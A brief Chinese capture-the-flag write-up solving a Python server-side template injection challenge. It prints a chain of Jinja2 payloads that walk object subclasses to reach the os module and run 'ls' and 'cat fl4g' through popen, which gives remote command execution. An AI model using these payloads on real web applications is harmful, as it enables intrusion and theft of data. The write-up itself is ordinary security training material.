Web_python_template_injection SSTI printer方法

这题挺简单的 就是记录一下不同方法的rce

python_template_injection

ssti了

{{''.__class__.__mro__[2].__subclasses__()}}

Web_python_template_injection SSTI printer方法_第1张图片

然后用脚本跑可以知道是 71

{{''.__class__.__mro__[2].__subclasses__()[71]}}

然后直接 init

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__}}

Web_python_template_injection SSTI printer方法_第2张图片

 存在os

直接通过os rce 了

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}


{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

你可能感兴趣的:(攻防世界,ssti)